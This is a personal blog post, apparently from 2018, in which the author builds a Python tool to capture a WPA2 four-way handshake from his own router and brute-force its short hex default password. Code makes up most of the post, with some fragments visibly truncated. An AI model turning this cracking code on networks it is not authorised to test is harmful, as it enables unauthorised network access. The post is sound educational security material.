February 28, 2018

Break WiFi with Python

Most of the information here I learned from reading other blogs and looking at diagrams online. I don’t claim to be an expert on anything here, this is just what worked for me, so if there are any inaccuracies, feel free to let me know! This is for learning purposes only, there are already tools that can do all of this much better than anything I can make.

I got a new wireless router the other day from my internet service provider, which uses WPA2 security with a pretty short default WiFi password. I’m pretty interested in digital security, so I was curious as to how difficult it would be for someone to break into my network if I had simply set up the router as delivered. As it turns out, it’s not actually that hard, and can be done with a short Python script.

When a device connects to a wireless network, a sequence of four messages is exchanged between the connecting device and the wireless access point, called a four way handshake. The four way handshake is how the device authenticates itself to join the network, and sets up encryption between the device and the wireless access point. The four way handshake is not encrypted though, and can be viewed by anyone listening for WiFi packets since the packets are all sent out over the open air. If someone records the four way handshake, then they have enough information to guess at what the WiFi password.

This means the steps I needed to do were:

  • Get raw wireless packets
  • Filter out the ones not related to my own network (I’m not trying to break into other peoples networks here)
  • Watch these packets until I capture a four way handshake
  • Brute force the WiFi password from the information contained in the four way handshake messages

Step 1 - Capture some packets

Probably the most interesting thing I discovered was just how easy it is to capture wireless packets. Many wireless chips support a monitoring mode, where they basically just capture any WiFi packets that they observe. To put my wireless card into monitoring mode I had to enable promiscuous mode on the interface (in this case mine was wlp2s0) using

sudo ifconfig wlp2s0 promisc

and then temporarily shutdown the interface while the monitoring command is run.

sudo ifconfig wlp2s0 down
sudo iwconfig wlp2s0 mode monitor
sudo ifconfig wlp2s0 up

Once the interface is in monitoring mode, a socket can be created to read the frames and process the data. The socket is created as a raw socket, with the packet address family.

import socket

# create a raw socket
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))

# read and print the packet as hexadecimal
packet = sock.recvfrom(2048)[0]

At this point all the WiFi packets floating around near my computer can be accessed from within the Python script!

Basic parsing of the packets is also pretty simple. Certain WiFi cards will prepend a “radiotap” header to the actual 802.11 frames, which looks like:

  • 2 bytes: radiotap header version
  • 1 byte: length of the radiotap header (n + 3)
  • n bytes: the actual radiotap header

The header doesn’t contain anything I needed, so I just looked for the header and discarded it after checking the length, leaving me with the plain packet. The packet itself takes the form of:

  • 2 bytes: frame control, which indicates what type of frame it is
  • 2 bytes: duration of the packet
  • 6 bytes: address 1
  • 6 bytes: address 2
  • 6 bytes: address 3
  • 2 bytes: sequence control
  • 6 bytes: address 4
  • n bytes: payload of the frame
  • 4 bytes: cyclic redundancy check, to make sure the frame data isn’t corrupted

For some reason I found some packets that only consisted of four 0 bytes, which I just ignored. This is the whole thing codeified in Python:

if packet[0:2] == b'\x00\x00': # radiotap header version 0
    radiotap_header_length = int(packet[2])
    packet = packet[radiotap_header_length:] # strip off radiotap header
    if packet != b'\x00\x00\x00\x00': # ignore the 0 packets
        frame_ctl = packet[0:2]
        duration = packet[2:4]
        address_1 = packet[4:10]
        address_2 = packet[10:16]
        address_3 = packet[16:22]
        sequence_control = packet[22:24]
        address_4 = packet[24:30]
        payload = packet[30:-4]
        crc = packet[-4:]

At this point the most important field is the frame_ctl field, since it tells you what type of frame you are working with. I defined a couple of constants to compare it against. Here is a great site I used to figure out what each frame_ctl field meant.

BEACON_FRAME = b'\x80\x00'
HANDSHAKE_AP_FRAME = b'\x88\x02' # handshake message from access point (AP)
HANDSHAKE_STA_FRAME = b'\x88\x01' # handshake message from connecting device (STA)

Step 2 - Filter out everything else

Another cool thing I learned is how your computer or phone discovers wireless access points. Each access point actually sends out “Beacon frames” quite often, with their MAC address and the SSID that they represent. So since I know the name of my network, I just need to wait until I find a beacon frame with that SSID in the payload and get the MAC address of the wireless access point. Then I can just filter out all further packets based on that MAC address by checking if either address_1 or address_2 is equal to that value. It’s not particularly elegant code, but it works well enough.

if ap_mac is None and frame_ctl == BEACON_FRAME and SSID in str(payload):
    ap_mac = address_2
elif ap_mac is not None and (address_1 == ap_mac or address_2 == ap_mac):

I was really amazed at how many beacon frames there were! Even from my own router there are enough to fill up my screen in a few seconds.

Step 3 - Capture a four way handshake

Now that I was only capturing relevant packets, I had to identify a handshake. It’s easy to spot, since and association request and response occur just before as the device lets the access point know that it wants to connect. All it takes is a look at the frame_ctl field again to look for the association response from the router.

     association_init = True
     sta_mac = address_1

Here, the sta_mac field is the MAC address of the connecting device (station). It will be needed later on with the ap_mac field to find the password to the access point.

Once the association is initiated, the next packets should contain the handshake. The frame_ctl field can be checked once again to verify that the frame is part of the handshake, then the payload of the frame needs to be parsed. The payload for the handshake frames contain 4 bytes to identify the link layer, and the rest forms an ‘EAPol’ (Extensible Authentication Protocol Over LA) frame. The EAPol frame needs to be decoded as follows:

  • 1 byte: version
  • 1 byte: EAPol frame type
  • 2 bytes: body length
  • 1 byte: key type
  • 2 bytes: key info
  • 2 bytes: key length
  • 8 bytes: replay counter
  • 32 bytes: nonce
  • 16 bytes: key iv
  • 8 bytes: key rsc
  • 8 bytes: key id
  • 16 bytes: key message integrity code
  • 2 bytes: WPA key length (n)
  • n bytes: WPA key

In order to try to compute with WiFi password, four values need to be obtained from the handshake messages:

  • the nonce in the first message
  • the nonce in the second message
  • the MIC from the fourth message
  • the whole EAPol frame from the fourth message, with the MIC field replaced by zeroes

The access point MAC address and the connecting device MAC address that were saved at the beginning of this step are passed to a function along with these four values that does the actual computation of the WiFi password.

association_init: #Association initiated, look for 4-way handshake
    if frame_ctl == HANDSHAKE_AP_FRAME or frame_ctl == HANDSHAKE_STA_FRAME:
        handshake_counter += 1
        print('Received handshake {} of 4'.format(handshake_counter))

        eapol_frame = payload[4:] #remove link layer

        version = eapol_frame[0]
        eapol_frame_type = eapol_frame[1]
        body_length = eapol_frame[2:4]
        key_type = eapol_frame[4]
        key_info = eapol_frame[5:7]
        key_length = eapol_frame[7:9]
        replay_counter = eapol_frame[9:17]
        nonce = eapol_frame[17:49]
        key_iv = eapol_frame[49:65]
        key_rsc = eapol_frame[65:73]
        key_id = eapol_frame[73:81]
        mic = eapol_frame[81:97]
        wpa_key_length = eapol_frame[97:99]
        wpa_key = eapol_frame[99:]

        if handshake_counter == 1 and frame_ctl == HANDSHAKE_AP_FRAME:
            ap_nonce = nonce
        elif handshake_counter == 2 and frame_ctl == HANDSHAKE_STA_FRAME:
            sta_nonce = nonce
        elif handshake_counter == 3 and frame_ctl == HANDSHAKE_AP_FRAME:
        elif handshake_counter == 4 and frame_ctl == HANDSHAKE_STA_FRAME:
            eapol_frame_zeroed_mic = b''.join([

            print('Attempting to find password...')
            crack_wpa(ap_mac, sta_mac, ap_nonce, sta_nonce, eapol_frame_zeroed_mic, mic)
        else: # reset all variables
            association_init = False
            handshake_counter = 0
            ap_mac = None
            sta_mac = None
            ap_nonce = None
            sta_nonce = None

Step 4 - Brute force the password

The last step is the implementation of the crack_wpa function. This is where all of the information from the previous step is used to make guesses at what the WiFi password could be. The way this is done is by using the information obtained from the handshake messages and a guess at the password to calculate a MIC, and compare that MIC with the one from the handshake. If the MICs are the same, then the password guess was correct! The function does the following:

  1. Use a guess at the password to calculate a PMK (public master key). This is easy to calculate if you know the WiFi password, but in this situation all you can really do is make a guess and calculate the PMK with that guess.

  2. Combine the MACs and nonces for both of the access points with constants to create a message.

  3. Take the HMAC SHA1 of the message, using the guessed PMK as a seed. The first 16 bytes of this hash is the KCK (key confirmation key).

  4. Take the HMAC SHA1 of the EAPol frame (the one with the MIC field zeroed), using the KCK as the seed. The first 16 bytes of this value is the calculated MIC!

  5. Compare the calculed MIC with the MIC from the handshake, and if they match, then the password guess in step 1 was correct! Otherwise, repeat the same steps with a different guess.

I found this PDF, and this stack exchange question helpful when trying to figure out what the exact steps were. Here is what I came up with to do this calculation:

# check all passwords that are 8 hex character strings
PASSWORD_LIST = itertools.product('0123456789ABCDEF', repeat=8)

def crack_wpa(ap_mac, sta_mac, ap_nonce, sta_nonce, eapol_frame_zeroed_mic, mic):

    # sorting function for byte strings
    def sort(in_1, in_2):
        if len(in_1) != len(in_2):
            raise 'lengths do not match!'
        in_1_byte_list = list(bytes(in_1))
        in_2_byte_list = list(bytes(in_2))

        for i in range(0, len(in_1_byte_list)):
            if in_1_byte_list[i] < in_2_byte_list[i]:
                return (in_2, in_1) # input 2 is bigger
            elif in_1_byte_list[i] > in_2_byte_list[i]:
                return (in_1, in_2) # input 1 is bigger
        return (in_1, in_2) # equal (shouldn't happen)

    max_mac, min_mac = sort(ap_mac, sta_mac)
    max_nonce, min_nonce = sort(ap_nonce, sta_nonce)

    message = b''.join([
        b'Pairwise key expansion\x00',

    for password_guess in PASSWORD_LIST: # try all the passwords
        password_guess = ''.join(password_guess).encode()

        pmk = hashlib.pbkdf2_hmac('sha1', password_guess, SSID.encode(), 4096, 32)
        kck = hmac.new(pmk, message, hashlib.sha1).digest()[:16]
        calculated_mic = hmac.new(kck, eapol_frame_zeroed_mic, hashlib.sha1).digest()[:16]

        if calculated_mic == mic:
            print('The password is: {}'.format(password_guess.decode('ASCII')))

    print('The password was not found')

At this point all of the code is written! You can find the full Python script on my GitHub here.


As you can see, it could take many guesses to find the password to the WiFi network. However, since the format of the default password to my router looks like it is just 8 hexadecimal characters, that means there are only about 4 billion different combinations to check. Just using this unoptimized script on my desktop, it would only take ~50 days go through the whole password list at a rate of about 1000 guesses per second. With some serious optimizations (probably not using Python for instance), and using faster hardware or GPUs, a password like this could probably be calculated in a few hours. In any case, I thought it was cool to see how fast it could be done with a simple Python script and some research! I had a lot of fun with this project, and learned a ton about how WiFi works by playing around with it!

Questions or comments? Feel free to email me or send me a message on twitter!


  1. Breaking Down 802.11 Frame
  2. Wireless Pre-Shared Key Cracking (WPA, WPA2)
  3. How exactly does 4-way handshake cracking work?